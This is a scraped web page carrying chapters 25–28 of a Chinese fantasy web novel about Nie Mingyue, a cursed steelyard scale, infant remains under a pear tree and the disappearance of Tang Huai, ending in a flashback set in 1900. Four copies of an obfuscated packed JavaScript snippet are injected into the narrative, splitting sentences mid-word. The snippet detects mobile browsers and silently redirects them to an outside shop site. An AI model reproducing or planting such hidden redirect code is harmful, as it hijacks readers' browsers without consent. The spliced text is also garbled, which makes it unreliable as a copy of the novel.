这杆小秤,陈三金根本就没做秤盘。 她仔细研究三截秤杆,长的过长,短的过短,似乎是特意在两颗秤星处断开的。 她想到陈三金做秤的后期,已近失明,在看不见的情况下嵌秤星—— 梨花闭上了眼睛,用手指仔细摩挲每一颗星。 她发现,有三颗星的触感是不一样的,上面各有两道嵌材。第一颗是最前面的定星盘,而定星盘的位置,居然是错的。 一杆秤,定星盘错了,一切都错了。 陈三金将心中所想做到了秤上——这个世界,不公、不正、不平。 剩下两颗,恰好就在秤杆的连接处上。不管这三颗是代表着福禄寿,还是十三星中任意三颗,倘若秤星中断在连接处—— 南斗六星主生,北斗七星主死。 生死一杆秤,举头三尺有神明。 用这杆秤的人,必将拆福折寿,或拆生折死。 梨花被她的推断吓到了!曾祖父为什么要做带诅咒的秤?当初定秤的人,是谁呢? 她第一次遇到贺萍时,听说了怪异虫尸的事,她就有了主意。从那时起,她不再将秤收起来,光明正大摆在橱柜中。 赵老婆子很喜欢这杆秤。她也许喜欢的不是秤,而是从梨花手里抢过嫁妆来用,并最后拆开的快感吧? 梨花冷眼看着她每隔几天就要折一次秤,暗自计算着她还能活多久。果然半年多后,赵老婆子就没来由地病了,她自己就是能治病的人,这次却躺在床上,枯瘦得没了人样。 即便这样,她还坚持着亲手来称石虫粉,将续命的希望,放在梨花受孕的可能上…… - “在海泽那次,我对龙须有特殊感应,反复摩挲秤星才察觉到差别。梨花当年一定比我花了更长的时间,她真的非常聪明。”聂明月边说出猜想,边拿起秤杆,将龙骨秤砣挂在定盘星上,做出要称量的动作。 梨花连忙扑上来,“呜呜”着摇头想要制止她。她即便缺了灵智,却依然记得,这杆秤用不得。 “我是个无因无果、不入轮回的人。这个世上,能用得了这秤的人,除了阴冥司,就只有我了。”聂明月先对梨花说,然后看向陈丽华:“秤砣虽已寻回,你却用不起它。” “这只是其一。”她说,又拿出手机,翻出夜里唐槐发给她的修复后高清知青照片,那上面正是一个戴着眼镜的男人。 陈丽华和计九崖同时看过去,从陈丽华的神色就能知道,这就是当年等梨花的人。而计九崖却“咦”了一声,他们当初走得急,并没有等到这张照片出来。 “这个男人,你让我去找陈总那天,在明月山庄外出现过。”计九崖过目不忘,一下就认了出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228955|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“他居然能找到海泽去。”关临渊仔细记住了男人的脸。 “从时间上来推断,他应该不是关大人要找的那个妖魂。但是他六十年容颜不变,不出意外的话,他应该也姓孙。”聂明月打开那张结业证,手指点在最下方授课老师的落款处: 孙栖。 - “如果说,关于秤的玄机,是我对梨花的猜想,那她最终交代你的奇怪托付,完全能证明,她是一个机智又勇敢的姑娘。”聂明月看向梨花呆滞的脸,再次夸奖,心底一声叹息。 孙栖,是梨花扫盲班的老师,同时也是曾住在陈家的知青。这一定不是巧合。 孙栖如果是孙老板后人,自然知道秤的存在。孙老板被关临渊泡在冥池百年,所以不能到陈家取秤。 孙栖去了,但是晚了。陈三金已经离世,陈家除了陈爷爷,没人知道秤的下落。他把主意打到陈爷爷最疼爱的孙女身上。他每日在自己房间窗前,观察对面房间梨花的起居,投其所好,取得了她的信任。青年男女相遇,会发生什么样的故事,就都是猜测了。 但是他没有求娶她。他应该也是知道业秤会耗匠人福缘,累及三代的,他怕被牵连。 无论什么原因,陈爷爷将梨花匆匆嫁了出去。之后陈家再遭抄家,陈氏父子被送去劳动改造,最终死在了农场里。这其中,极有可能有孙栖的推动。 陈家空了,孙栖大概把陈家大院上上下下都搜了一遍,最后想到了远嫁的梨花,又去了龙洞村当老师。 梨花已经推断出,来取秤的人,就是曾祖父诅咒的人。相处中,孙栖可能有试探过她的嫁妆,这让她起了疑心。 但她明显是不确定的,她更愿意相信他是个好人。她跟孙栖约定好,会带着嫁妆和他一起走。如果出现的不是她,他便会失控,第一反应只会问他最关心的事。 所以她临死之前交代贺萍: 若是只问她,就将秤杆给他。三截阴沉木价值千金,算是她给曾经恋人的馈赠。 若是他知道秤、问到秤,就将秤杆和秤砣一并给他。因为他就是取秤的人,当他或相关的人用秤的时候,就会受到诅咒的惩罚。 但梨花想不到的是,贺萍在逃离途中,弄丢了秤砣,给不了孙栖完整的秤,才有了后来六十年改名换姓的故事和人生。 “贺萍,你当得起陈丽华这个名字,替梨花好好活着。”聂明月感叹:“你真的是一个很有福气的人。你弄丢了秤砣,反而保住了自己的命。” 她相信,以孙家的手段,贺萍交出秤的那一刻,就是她丢命的时候。 - “所以,陈总,你现在还坚持要拿回秤吗?”聂明月问。 “我代表梨花将秤赠予聂小姐,”陈丽华显然已经拿定主意了,“只要聂小姐帮梨花一家找到真正的仇人!”她听下来,尽管很多细节不懂,但明白以对方的手段,她一个普通人无法应对。 就像计九崖曾说的那句——“这个世上,只有聂小姐可以帮你……” 此事定下之后,聂明月将梨花和女童唤回如意,又将秤杆与秤砣递给了关临渊。 关临渊颇觉意外地看向她。 “关大人,业秤能称量亡魂生前功德,也能助你畅行三界、横跨南北,你堪用得。”聂明月说:“螭龙已逝,秤砣是你找到的,在你处发挥作用,它也会很开心。” 她站起身,做了个拂衣的动作,秤与秤砣,梨花与龙,均有去处。 她的秦川之行,诸事已了。 “我们去看看赵家院子吧。”她笑着说。 26. 下次再见 人间行走指南: 【做过的恶,不会因为时间而被掩埋。时间对妖怪来说,是最不值得珍惜的东西。】 - 大河乡派出所的副所长老金,平时脸上挂着友善的笑容,他从基层干到现在,愤怒和悲悯早就被岁月甩到了背后。 可是此刻,他站在赵家院子中,看着树下的一堆尸骨,一股凉气从脚底板嗖嗖往上升,冲得天灵盖都在抖。 目前是一具成年人骨,十二具婴骨,后面还有,一个接一个,被他和他的同事从树下刨出来,越挖骨头越多…… 老金全身发麻,狠狠地抽了三支烟,给县里打了电话,县里说让他马上跟市里汇报,借调人手。这么多尸骨,不是乡派出所的警力能处理的。 老金心里只想着,果然本命年犯太岁,眼看着还有半年就要退休了,遇到这么大的事,他当了一辈子民警,都没见过这么多死人。 那些婴骨,细幼如小兽,一看就是刚出生的。他先按挖出来的位置拼了三个,他们都有一个共同点,都没有头盖骨。 他有一定经验,看出尸骨至少五十年了,别说判断死者身份了,能知情的人都找不到几个了。 这个案子,难办了。 - 报警人叫张萌,自称是个博主,听说这里有棵百年梨树,就过来拍视频。结果开花的梨树没拍到,在枯树朽根下看到一截白骨。 他第一次报警说,本来以为是动物骨头,用脚踹了下烂树根,就露出了大半个骨架。他吓坏了,跑到山头才有信号打电话。 民警还在路上,他又第二次报警,说叫了个工人一起,又挖出了一个。 民警让他们不要破坏现场,他说:“……已经没有现场了,树彻底倒了,树下周围一圈,全是骨头……” 聂明月一行,就是在老金抽烟的时候到赵家的。院外已经有七八个工人在围观。老金警惕地打量四个外地人,他们站在院子外面,不好奇也不惊讶,就坦然地看着。 那个年纪最大的女人,倒是有点神色不安,但年轻女人跟她说了句什么,她就平静了。 聂明月说的是:“他们做过的恶,不会被时间掩埋,死对他们来说不是解脱,是个开始。” 她和关临渊昨天就看出下面还有其他尸骨,赵老婆子种婴灵、食婴骨、施邪术——她是个乡村农妇,再见识有限,也不可能如此胆大包天,这也不是短时间能做出来的事,应该持续了很长时间。 若有人曾躲在暗处引导……她怀疑这事和龙洞有关,两人商量了下,此事年代久远,与其暗中追查,不如公之于众。若真有那么个人,也能引蛇出洞。 她带陈丽华来赵家院子,也是想让对方知道,这件事,她管定了。 - 赶趟哥正拉着网友“我在山里搞基建”拍视频。基建哥是施工队的工头,也是个爱冲浪的,对于这次的重大爆料,他做好了出镜的心理准备。他对着镜头,讲述梨树下的发现经过,两人配合得十分默契。 赶趟哥和聂明月远远对视了一眼,心照不宣。聂明月送了他一个龙潭子里的大礼,又指引他来树下,他装作不认识她的样子,忙着自己的事。尽管在拍基建哥,但他已经兴奋地快握不住相机了,他知道,他真的要火了。 陈丽华对赵家也没有留恋之处,倒是聂明月提醒她,龙洞景区的项目不错,如果她还有心做事业的话,是个不错的投资。 陈丽华笑着说:“聂小姐,这件事我肯定会参与。以后你要做的事,都可以找我参与。回海泽后,我先把这一次的费用结给你,尽我所能,没有上限。” 聂明月也笑了,这趟终于赚到钱了,回去能跟孟夏交代了。 - 等他们回到秦北县时,已经是下午了。计九崖要先送陈丽华回海泽,聂明月和山神晚上有约,于是又来到了老城的常春旅店。 春姐见到两人,十分惊讶:“关先生,你们怎么一起来了?” 聂明月有点意外,没想到那天晚上的第三个住客,居然是关临渊。世界也太小了吧。 关临渊倒是早就知道了,继续入住之前的那间。春姐十分开心,赶趟哥还没退房,这两人一来,今天又客满了。 两人稍微收拾了一下,又坐在一起继续讨论之后的事。 关临渊见识过聂明月那如意里的众多精怪,替她头疼:“我看你收编的种类挺多,没想把它们利用起来吗?” 聂明月从没想过这件事,她一贯暴力执法,不服的揍到服为止,实在有混不吝的,就直接抓回明堂,让它们永远不能出来。 “你虽然……”他斟酌着用词,“以德服人,但因为只有百年阅历,也没个师父教你。能被你抓着不放出来的妖魔鬼怪,想必都是有些本事的。比如那些基础入门的法术、法宝控制之类的,它们肯定知道的很多。你若有时间,可以好好整理一下,让它们别白待在灵器之中休养,做点有用的事。" 这个建议为聂明月打开了新思路,她立刻就把白毛怪沈敬招了出来。他应该是其中年纪最大的前辈了。 沈敬身处如意之中,除了照顾梨花两人,也见识到了其它精怪,心知这位聂小姐是个了不得的人。他自知修炼无望,还有着与清灵重逢的执念,现在也没了去处,一听聂明月问他今后打算,立刻表达了诚意。 “聂小姐,沈敬枉于世间千年,其实只有做修士的那十几年走的地方多,有了些见识。我既不知如今世道如何,也不知该往哪去,若能对聂小姐有用,沈敬愿效犬马之劳。” 聂明月对他心中有愧,因此也摆不出明堂主人的架势来,便安排沈敬先将如意中的妖怪造册登记,分类统计,用孟夏的那一套表格,注明各自所长和入世意愿,其他的以后再安排。 她最后对他说:“你已经知道梨花不是清灵转世了。清灵现在还活着,且如你所期待那样,是一个非常有成就的商人。她虽前半生苦楚,但终平安顺遂。回到海泽后,你要是愿意,我可以安排你们接触,但她毕竟是个人类,你别动不动就说前世今生那些话。” 沈敬闻言大喜,他也知道清灵是清灵,转世是转世,是两个完全不同的人了。但想到千年后还能有见面的机会,也算得偿所愿了。 - 关临渊又对聂明月说:“百年前那只魇,虽然油盐不进,但是有点东西。你要是不乐意管,可以交给我,我正好有事要他来办。” 聂明月见关临渊不跟她客气,也不问他要做什么了,直接将魇拉了出来。关临渊也不给重见天日、一脸惊喜的魇半点嘚瑟的机会,铁尺一挥,它又进去了…… 魇:有没有天理了!你们太过分了! - 天刚黑,山神就来了。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14245112|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次他是一个人来的,大概是怕人多引起不便。 聂明月将梨花和女孩交给他,问他会如何安排。 “吾见她们一个半妖半鬼,一个半魄半灵,还想不到鬼魄的修炼方式。但她们和老梨树血脉相生,会比一般妖灵成长得更快。若妖王大人愿意,可否让吾将那芘虫也带走,芘虫可纳山川灵气,尽管如今世间灵气微薄,对她们来说却是极大的帮助。” 说到灵气,聂明月想起一事:“你若愿意,可在七月中旬到海泽来一趟。我五十年前在海泽结下山海大阵,将于今年七月十五日结境闯关。到时入境者,均可在境中借机修炼,助长修为。但到时境中是什么情况,我自己也不清楚,你得想好了。如果你成功了,便没有了寿数之忧,但一旦失败,可能就出不来了。” 山神闻言大喜:“不愧是妖王大人!吾只知每个妖在死前都会结境,保存它们的灵修与珍藏。没想到大人神通之大,可以自行结境!这是天下妖灵之大幸!吾必准时赴约,哪怕折于境内,也只是吾修为不足,与大人无关。” - 关临渊在旁边听着,心中泛起波澜,脸上露出了不由衷的笑容—— 他也是此时才听说这事,也是此刻才明白聂明月消失的那几十年,去干什么了。 正因为知道她的目的,才更加替她酸楚——她对她所来之处的追溯,从来就没有停下来过。 - 聂明月笑着说:“当年本打算借《有明堂》发布这个消息,没想到它早就停刊了。如果你想关注动态,可以之后问问季舟,他不日会去海泽,到时可以转达。” 她可能还没练习好表情控制,那笑看起来带着深意—— 她自行结境,是当年与唐槐商议后的决定。唐槐和唐青山父子终其一生为此事奔波、她以身为阵眼自沉海底五十年,均是为了这一天。 这是一件没有人做过,甚至没有人敢想的事,只有绝顶聪明的唐槐能研究出来,也只有她能将之实现。 如果成功了,她可以找到自己上一次的身份和记忆。 如果失败了,她也算得偿所愿,了却不死不灭的命运了。 - 山神是三人中笑得最开心的—— 他此行收获甚多,不仅得到了千年芘虫小紫,也获悉了海泽结境的大消息。 他还没出常春旅店的门,就已经在盘算,要带着哪几个有能力入境的后辈,去挑战这千年难得一遇的机会了。 - 第二天一早,关临渊要先离开了。他追踪魔魂而来,如今虽然孙栖出现在海泽,但魔魂依然逍遥在外。他需要用业秤追查魔魂下落,也得回冥池处理公务。 两人到了说再见的时候想起来,还没有对方的联系方式。 聂明月加了他好友,他头像显然是新换的,正是业秤的照片,昵称“一片深渊”。 她忍不住笑,她头像也是新换的,是如意的照片,昵称“一轮明月”。 看来两人都非常喜欢新到手的宝物,选择了同样的方式表达自己的喜欢。 于是站在常春旅店的小院中说了声“再见”,关临渊就走了。 他们习惯了这样简单利落地各自离去。 不过还是有区别的,曾经每一次分开,他们都没想过会再见。 但是这次他们都知道,很快就会再见。 27. 春天的第一杯奶茶 人间行走指南: 【用劳动换取报酬,古往今来都适用,人和妖都需要工作来养活自己。】 - 这是个天气很好的周六下午,春日的阳光和暖,瓦蓝的天空零星飘着几朵纤细的云絮。 “真的很适合外出,比如去海边走走。”他想。此时他正站在住院部六楼病房的窗前,借站起来走动几步的那两三秒钟,让自己分了一下神。 他不想再应付她无止境的讲述,但又害怕她像上次那样陷入长久的沉默。 “如果你也有一个疯狂的母亲,”他转身说:“你也会像我一样,想去海边吧。你看多巧,林州有海,海泽也有海……” 她坐在沙发上,头发梳得平整光滑,在脑后盘了一个圆髻。但她总忍不住伸手去抚平那并不存在的发丝,直到再次崩溃成一个披头散发的妇人。 “刚才说到哪里了?”他问。 她食指和中指之间夹着一个老式纯铜旱烟斗,将烟管那头抵在侧额。那簇烟草从没点燃过,但她身上总有烟叶燃烧后的味道。 哦对了,多年未见,她也没有变老。他回忆了一下,从他还是个孩子的时候,她就是这副打扮和动作。 “他不是人……他半夜的时候,满脸都是长毛,伸出獠牙啃噬一切……”她躬起身,睁大眼,双手成爪对着他做了个吞食的表情:“他离开的前一个晚上,吞了一整扇门,木头渣都不吐……” 她又把手放在膝上,突然优雅起来:“我成亲那天,全城的人都到街上来了。我知道他们看的不是我,看的是我家招赘婿的派头。” “这个,你已经说过了。”他保持耐心,慢慢引导:“上次你说他变成怪物之前,告诉你那家人在哪,然后呢?” “我没撒谎。”她盯着他,直接站了起来:“他没说过一句真话,但我没撒谎。我不是都给你了吗?”她露出了不怀好意的笑:“你是他的儿子,你也成他一样的怪物了。” 她又慢慢走向他,一脸哀求的表情:“求求你,放了我……我是你的母亲呀……”房间里回荡着断断续续的悲戚哭声。 他们就这样面对面站着,下午的阳光从窗外打过来,把他的影子拉成了狰狞的形状。影子和光都投在她身上,仿佛成了她的舞台——演员脸上明暗分明,精致刺绣的戏服上,绣线隐隐泛着细碎的光。 她是林州城最端庄的闺秀,永远不会让自己有半毫失态,哪怕哭着,也是个优雅的妇人。 他其实怕她,怕她不带表情的脸,更怕她失控的表演。 幸运的是,她终于有反应了,她对他笑了,那笑容神秘又夸张:“父亲说,他再怎么变,也不敢对我不好,他有把柄在我手上。” “他回来了,来找你了——”那语气带着幸灾乐祸,又蓦地表情一变,眼里全是对儿子的关怀和叮嘱:“他们马上到了,不要相信他……” 房门突然被推开,一个护士拿着药进来,对他说:“吃药啦。” 男人独自站在窗前,对着前方空荡荡的白墙,脸上露出了满意的笑容。 - 聂明月从机场出来,给孟夏打了个电话,一直无人接听,唐槐则是直接关机了。 她又联系计九崖,他正在明月山庄值班。他并不打算换个身份,或者撤去老年妆——自从他知道孙栖曾出现在他眼皮子底下后,回来就守在小区门口,这里会第一时间发现异常。 计九崖告诉聂明月,昨天他到一号公馆时,孟夏和唐槐正好出门,说要回公司加班整理什么资料,让他别等他们。 聂明月抬头看天,今天天气很好,才下午一点,她打算直接去望南街找他们,不能让同事们周六加班,她自己回去休息。 想到这里,她心情变得更好了,怪不得现在的人都要找一份工作,有了职业,就有了身份的认同感,连计九崖都打算继续当保安了。 她坐在车上,跃跃欲试地点开外卖软件,她要请他们喝奶茶! 她见过小前台手里握着带吸管的漂亮杯子,街上的年轻人们几乎人手一杯,她还没喝过奶茶呢! - 到了望南街28号,小楼大门没关,前台上摆了一个漂亮的水晶花瓶,里面插着一把小黄花。 她笑,这一定是孟夏特意安排,等她回来的。 一楼没有人,她直接去了楼上孟夏的办公室,电脑还开着,却还是没人。 她心中升起疑惑,好像大家是突然有什么事离开的。 这时楼下传来了声音,她开心地跑到门外,扶着栏杆朝楼下大声说:“我回来啦!” 尤远志穿着一身外卖服,提着六杯奶茶,正抬头愣愣地看着她…… - 今天是尤远志第一天上班,也不知道孟夏用了什么法子,他的身份证三天就到了。孟夏说他没学历、没工作经验,要想养活自己,先从送外卖做起。于是他昨天下午就去离望南街最近的站点入了职。 他骑车还不太熟,就设置了只接一公里内的单。谁知道第一天就遇到周六,附近上班的人都放假了,终于等到了一单被他抢到了,还是他唯一熟悉的地址。 他以为是孟夏照顾他而专程下的单,结果送过来没见到人,面对突然出现的聂明月,让他不知道怎么办了。 他既怕她,又情不自禁想靠近她。 那不是男女之间的吸引,是她身上的气息,让他觉得亲近又舒服。但是初见时不慎入境的痛楚,又让他后怕。 聂明月站在他面前,他手足无措,连打招呼都不会了。 “这个……”他提起手里的奶茶袋子,问:“是……聂小姐点的吗?” 聂明月连忙接过来:“小远志,你也有工作啦!”没想到他适应得这么快,年轻人就是厉害呀。 尤远志紧张地点头,结结巴巴地说:“那个……那我就回去啦……”他转身想走,聂明月叫住了他。 “你知道孟夏和唐槐去哪里了吗?”她问。 “我昨天去面试的时候,见过他们回来。但是好像很匆忙,所以我也就没进来打扰他们。” 聂明月皱了皱眉,他们到底去哪了? 她又给阿金打去电话,倒是有人接了,结果是个男孩的声音:“妈妈在洗碗,阿姨您有什么事吗?”很有礼貌的样子。 她连忙说没事。她忘了阿金周末是不上班的,应该也不会知道孟夏的去向。 她有点着急了,城市这么大,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14254169|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该去哪里找他们? - 尤远志也觉得这件事不寻常。他放下手里的头盔,在骑手服的各个袋子里翻找东西,最后掏出一块不到手掌大小的罗盘来。 他问:“聂小姐,唐先生的生辰八字是多少?”聂明月一愣神,她还真的不知道。 他见聂明月被问住了,又走到前台,抽出一张打印纸,用笔在上面画出一个八卦图,并急速地计算着,很快八卦图的周边都写满了字。 他拿起纸,仔细端详后解释道:“本来这是用来寻人的‘八方走失图’,但是没有唐先生的信息,我只好临时又加了道寻妖符,不知道能不能好用。” “……”聂明月沉默,寻妖符,只能是冲着孟夏去了。 他走到楼外,聂明月跟上去,罗盘指针在不断变化位置,他掐指算了一下,皱着眉头指向东边:“孟姐就在十里内,但是被困,无法动弹。” 果然出事了。聂明月冲到街上,又停下来,拿出手机查看地图,东边四公里的位置,她知道了! 她扭头对尤远志说了一句:“是镇海寺。我先走了!”她迈开腿向前跑去。 尤远志只见她突然加速,又瞬间身影消失,惊讶地张大了嘴。终于反应过来后,也骑着外卖车向镇海寺而去。 - 镇海寺周末本该香火鼎盛,但今天却出奇地大门紧闭。这里是没有修士常驻的,平常只有几位居士轮换着值守。 聂明月从出发到现身寺内,也就三五分钟。她顾不得行踪被人看到,直接进了第一殿。 这里是知客的工作台,用来做香烛灯油符纸的售卖及香客指引。一位身穿宽袍的居士趴在桌上,她探了一下,人还活着,便迅速前往第二殿。 二殿院内是石兽像的所在地,但此时,地上只有一堆散落的石像碎块,和雾状的血迹。 她蹲下来,用手指沾血,却已经干了。那血并不是人类的,上面有灵及火药的气息,香香出事了。 就算是火器也不可能伤到它,除非它被胁迫不能移动或还击。 香香跟着唐槐,唐槐跟着孟夏。如果孟夏就在寺内,现在又在哪里? - 她闭上眼,亮出赤瞳,缓步走向第三殿。那里有一座神像,世人均以为那是一位海神,但其实是那位将军。她当年亲手将神像置于殿内,让他受万家香火供奉。 神像依然在,他脚下石座内,有一散落的黑影。赤瞳视物只看生灵本相,聂明月松了一口气,那是孟夏。 她收起赤瞳,转到神像背后,打开石座暗门,孟夏闭着眼睛,没了知觉。 她此时只恨自己枉有蛮力,不会法术。孟夏不是寻常的妖,她在脑中迅速搜寻能唤醒她的方法。 她终于想到,关临渊曾教她的驭气入门及五行的原理,于是尝试着运转周身气息,手心随即出现一团赤焰,围绕孟夏周身流转。 若有阅历的修士或妖灵看见那团赤焰,会惊讶于火之精纯强悍,控制之精准简洁。可是聂明月并不了解,她只期待施术有效果。 几息之后,孟夏终于有了反应。她睁开眼,见到是聂明月,挣扎着提气,张口勉力说出五个字: “唐槐失踪了。” 28. 昨日黄花 人间行走指南: 【你看不见的,决定了你看得见的。】 - “等这场仗打完,我就送你一支真正的花簪……” 唐槐仰躺在土坡上,捂住胸口的伤处。他们是偷偷跑远的,因为他在战场上发现了她的秘密,替她打了个掩护,带她躲到了此处,以防被人看见她的赤瞳。 此刻她正在气自己杀急了眼,无法控制自身异状,又担心他胸膛刚合上的伤口裂开。 他见她神色变幻,想必又是在胡思乱想,便随手掐下身旁的一朵小黄花,递到她面前:“你还没见过花簪吧,比这多,比这大……再普通的姑娘,哪怕有双红眼珠,只要戴上花簪,都能好看三分……”他还有力气说笑,还要安慰她。 那朵小黄花,指甲盖大小,自断茎那刻起就开始打蔫,小小的花瓣微微颤动,不知道是他的手在抖,还是山间起了风。 他没有兑现他的承诺,二日后,他死于太行山中的妖兽身下。 - 自人类通用纪元以来,每400年是一个平年。 1900年1月1日,星期一,是现在的我们所处纪元的全新开端,是唐槐死后的第十年。 那一年,聂明月经历了很多事。 正月廿一日夜,她与提督聂大人在士武军驻地正在过因战事延后的元宵节,聂大人被总督叫走,回来就通知全军开拔:“暴乱团往北来了,接朝廷指令,士武军即刻出发,剿匪治乱!” 聂明月也在整理行装,聂大人却说:“为父四十年戎马生涯,每逢出战,就没想着能活着回来。但你祖母年纪大了,你替父回京尽孝吧。” 她见当初那位中年将军,如今身材壮厚,发须已是花白;她也对那位未曾谋面的85岁高寿老人有些好奇——人类喜欢把长辈当做家族的精神寄托,说家中若有长寿者,必定能福及子孙、人丁兴旺。 可聂大人的大儿子折于六年前的雪夜奔袭,小儿子几个月前被暴匪绑架虐亡。她这个来路不明的义女跟随他十四年,确实应该尽自己的义务。 聂大人相信她的能力,于是给了她一匹马,让她自行回京。 也许是谁透露了消息,她在行至太行山脉魏县段时,遇一妖兽突袭,她将之诛杀后第一次入了境,不慎中了妖毒。出来时又被一群乔装成山民的人绑架。她只听得半句“姓聂的……”,就陷入了沉睡。 等她再醒来,就已缺了神智。对方想让她吃点皮肉之苦,反被她杀。当她行至官道,被一拐子盯上,见她孤身呆傻、姿容动人,便哄骗到京城青楼卖了个好价。 在军营时,同袍笑她从未女儿装,唐槐也曾跟她提过,等打完那场仗,就送她一支真正的花簪。 当她看到梳妆完毕的丽娘转身过来,头上的那簇黄色缀珠盈盈晃动,她想:“原来这就是花簪。” 丽娘给她起了个名字,叫小花。 她忘了所有事,但她忘不了那朵小黄花。 - 农历四月,京城来了两方人马,烧杀抢掠,陷入混战。他们有外国人,也有外地人。听说前方平乱有功,但还是有一小部分人绕道入京,打着赶走外敌的口号,和对方打了起来。 后来皇城里也派来了人,三方争斗,最苦的就是百姓。丽娘天天唉声叹气,她最见不得妻离子散、破屋烂家的事情:“这世道乱了,妖怪都活不下去。” 她不懂那些,但她想让丽娘像当初那样,每日都能华服美妆,开心畅怀。 农历五月,她经常被姑娘们带出去逛街。只要有她在,京城的女子都敢出门,谁也不能欺负她们。大家都学她,头上簪着一朵小黄花。 后来她们进了天牢,后来她们到了小渔村。 再后来,等再次见到聂大人时,他在她怀中,闭上了眼睛。 - 清醒过来的她,体内妖毒尽数散去,修为大进之余,泼天的悲伤与愤怒如巨浪袭来。她仅有的惦念已去,于是燃起赤瞳,抱着将军的尸体,一步步踏向敌军…… “小花姐姐!回来呀!”一个声音在她身后喊着:“你去了,我怎么办——” 她转身看向他。那是,唐槐…… 男孩小小的个子站在战死的士兵之中。那些尸体,是她暌违多日的伙伴、浴血奋战的同袍……往日的热闹场面依旧,她和将军,他们和唐槐,在此刻重聚。 敌人端起了火枪,瞄准了妖异鬼魅的奇怪女人。他们没见过妖,也没领教过来自强者的愤怒,不知道该不该开枪,能不能开枪…… 她对着小唐槐笑。这是她第一次笑,地上的小伙子们曾以逗她笑为日常,笑话窘态怪相耍了无数次,没想到因他们的离开,她才学会了嘴角上扬。 这个荒唐可笑的人世间,她想将它毁掉,让它和他们一起尽数消亡。此刻的她知道,她做得到。 她将所有过往和记忆融在内息里,支撑着她使出生平最大的力量,跟随着血脉中的本能,默念出“明堂——” 巍峨群山屹立身后,看不到顶的山巅如剑锋,刺穿满天红云,山中有一建筑在云中隐现,七彩霞光缭乱…… 那是她的明堂第一次现世。那时她才知道,她的灵台之内,有明堂。 - 就当她要使出灭世之力时,天空飘起了细细的雪粒,有一撑伞人向她走来。 他出现的时候,世界万籁俱寂。持枪的人、火红的落日,燃烧的硝烟……都仿佛成了画中的墨迹,静于画卷之上。 只有雪中的他,一步一步,走到她的面前。 “你做你的事,我做我的事。”他伸出手:“把将军交给我。” 她不懂,只看着他。 那人说:“我来自阴冥司,判生灵亡魂之功德罪恶。将军需跟我走。” “凭什么?”她说,“你没有,抢走他的,本事。” “你说的对。于公,你无因果,不轮回,在我的权限之外。于私,我打不过你,没有人能打得过你。”他笑:“但是你不能误了将军的轮回。只有带功德的人,才值得让我带走。我向你保证,将军下一世,必能当个富贵闲人,安稳一生。” 聂明月依然不放手:“他此生,不图安稳,更不图,来生安稳。” 那人十分意外:“那他想要什么样的人生?我敬将军是百年难得的名将,定会尽力满足他的愿望。” - 她想起有一年,将军盯她读书。背至《尚书·武成》“……乃偃武修文,归马于华山之阳……”一段,他问她可知是什么含义。 “说的是没什么上进心的帝王,不重视武事,只想养马归田。”她见字解意。 将军被她逗得哈哈大笑,他的脸只一笑就少了杀伐之气,多出可亲的和气来:“甚是淘气。这写的不正是每个将士最大的愿望吗?我们征战杀敌,为的就是再无战事,百姓安乐了,才能卸甲回乡。” - ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261933|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他想要——”她从回忆中出来:“偃武修文,马放南山。” 撑伞人愣住了:“这愿望太大,将军功德虽厚,却无法实现。” “谁能实现?”她问。 “万川汇聚,海清河晏。百姓香火,延绵不断……”那人说完又摇头:“你见世间佛与道,几千年信仰之力都达不成这等愿望,只能渡人渡己,哪能管得了天下的事。你还是让我带他走吧。” “不!”她神情坚决:“我偏要,让他看见!” 撑伞人看着她,却无法看清楚她。她身后的明堂神山笼罩四野,金色烈焰与银色月华交织流动,瞬间让他神魂震荡——她是连他都不可窥探的存在。 “……我不愿与你为敌。如果你坚持,我可否与你来个约定?”他说:“我给你十年时间,你做你的事的同时,管人间妖鬼不作恶。不管你那事能做到什么程度,只要有实现的可能,我都不把将军魂魄拘走……” “然后呢?”她问:“我做到了,你又如何?” 